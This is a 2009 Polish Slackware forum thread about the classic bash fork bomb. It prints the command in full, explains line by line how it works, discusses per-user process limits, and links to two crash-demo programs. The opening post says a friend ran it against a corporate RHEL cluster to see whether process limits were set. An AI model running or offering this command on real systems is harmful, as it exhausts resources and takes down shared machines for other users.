Skrypt

Wszystko o czym chcecie dyskutować a tyczy się choć trochę Slackware Linux i nie tylko!

Moderatorzy: Moderatorzy, Administratorzy

infern
Użytkownik
Posty: 268
Rejestracja: 2006-10-26, 14:38
Lokalizacja: Wrocław

Skrypt

Post autor: infern » 2009-01-14, 13:15

UWAGA !!! Nie uruchamiać go :)

Kolega chciał sprawdzić jacy są admini po stronie fińskiej (wiadomo o jaką korporację chodzi) i proszę zauważcie że na jednym z największy serwerów tej korporacji klastrowych opartych na RHE nie ma limitów procesów dla użytkowników. To jako ciekawostka a skrypt wygląda tak :D

Kod: Zaznacz cały

:(){ :|:& };:
Pozdrawiam Tomek

Awatar użytkownika
marthinuz
Użytkownik
Posty: 18
Rejestracja: 2008-10-10, 13:59
Lokalizacja: The Orient
Kontakt:

Re: Skrypt

Post autor: marthinuz » 2009-01-14, 13:48

Fork-bomba stara jak świat. A w RHEL domyślnie chyba powinna byc jakaś ochrona przed tego typu pierdółkami?

edit:

A tak swoją drogą, jak w slacku ustawiacie limity? /etc/limits?
Ostatnio zmieniony 2009-01-14, 14:41 przez marthinuz, łącznie zmieniany 1 raz.
[size=59]/slækwɛər luzər/[/size]

largo3
Moderator
Posty: 1294
Rejestracja: 2006-06-11, 11:08

Re: Skrypt

Post autor: largo3 » 2009-01-14, 16:16

Kod: Zaznacz cały

Microsoft Windows [Wersja 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. Wszelkie prawa zastrzeżone.

C:\Users\largo3.Neuromancer>:(){ :|:& };:
C:\Users\largo3.Neuromancer>
Nie działa! :P

http://lcamtuf.coredump.cx/soft/trash/linux_sucks1.c
http://lcamtuf.coredump.cx/soft/trash/linux_sucks2.c
Te dwa jeszcze działają?
Ostatnio zmieniony 2009-01-14, 16:17 przez largo3, łącznie zmieniany 1 raz.
UNIX is basically a simple operating system, but you have to be a genius to understand the simplicity.
-- Dennis Ritchie
Linux Registered User #419452

Awatar użytkownika
swiftgeek
Użytkownik
Posty: 428
Rejestracja: 2006-10-28, 20:15
Lokalizacja: /root

Re: Skrypt

Post autor: swiftgeek » 2009-01-14, 17:01

Taa to napiszę system który otwiera obrazek :P i nic więcej i powiem że to najbezpieczniejszy system pod słońcem :p

Pajaczek
Użytkownik
Posty: 1439
Rejestracja: 2006-08-03, 13:16
Lokalizacja: Winny Gród

Re: Skrypt

Post autor: Pajaczek » 2009-01-14, 17:06

swiftgeek pisze:Taa to napiszę system który otwiera obrazek :P i nic więcej i powiem że to najbezpieczniejszy system pod słońcem
Po co... wyciągnij wtyczkę (zasilania) z kontaktu, i możesz powiedzieć to samo. ;)

Awatar użytkownika
Nightwalker
Użytkownik
Posty: 545
Rejestracja: 2006-01-02, 01:23
Lokalizacja: Bytom
Kontakt:

Re: Skrypt

Post autor: Nightwalker » 2009-01-14, 19:22

Opis "jak to działa"

Kod: Zaznacz cały

# definiujemy funkcje o nazwie :
:()
{
     # uruchamiamy funkcje : wewnatrz funkcji : lub (|) robimy to samo, po czym wysylamy proces w tło (&)
     :|:&
}

# uruchamiamy funkcje :
:
Na górze fiołki, na dole las, all your base are belong to us

[ [url=http://forum.slackware.pl/viewtopic.php?p=142666]Darmowy shell[/url] ]

Awatar użytkownika
mina86
Moderator
Posty: 3314
Rejestracja: 2004-06-14, 21:58
Lokalizacja: Linux 4.x x86_64
Kontakt:

Re: Skrypt

Post autor: mina86 » 2009-01-14, 19:47

Kod: Zaznacz cały

$ :(){ :|:& };:
: is a special built-in
Zawsze mnie bawiło, że autor chcąc, aby polecenie wyglądąło fajnie spowodował jego nieprzenośność.

[ Dodano: 2009-01-14, 19:48 ]
Nightwalker, mijasz się z prawdą. Pipe to nie lub, a uruchomienie potoku. Cały zabieg daje nam to, że od razu dwa procesy lądują w tło.
Zastrzegam sobie prawo nieanalizowania postów pisanych niepoprawną polszczyzną. :: Post generated automatically by A.I. system called “mina86” in response to the previous one. :: Tiny Applications

ODPOWIEDZ